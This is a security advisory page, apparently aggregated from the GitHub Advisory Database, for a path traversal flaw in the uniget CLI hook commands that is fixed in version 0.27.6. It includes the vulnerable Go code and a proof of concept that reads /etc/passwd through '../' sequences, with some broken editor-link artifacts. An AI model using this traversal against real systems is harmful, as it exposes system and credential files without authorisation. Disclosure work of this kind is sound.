CVE-2026-55062: uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability
Summary Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd. Details File: hooks.go Lines 135-160 Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
Published Aug 17, 2026
Affected packages
gitlab.com/uniget-org/cli
- Ecosystem
- Go
- Affected
- < 0.27.6
- Fixed in
- 0.27.6
- Check
go list -m gitlab.com/uniget-org/cli
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html).
Details File: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) Lines 135-160
hookFileName := args[0] // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenationHook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
PoC
Step 1: Set cat as editor
export EDITOR="cat"Step 2: Read /etc/passwd via path traversal
./uniget hooks edit --type=pre-install "../../../../etc/passwd"Step 3: Output shows file contents
root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]Credited to 0x5t4l1n, Chris35t, harriiinnii.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-55061
uniget CLI has an EDITOR Command Injection
medium6.9Aug 17, 2026GHSA-fhgh-wq4q-r37x
uniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set
high7.8Aug 17, 2026CVE-2026-45152
uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution
high7.8May 13, 2026
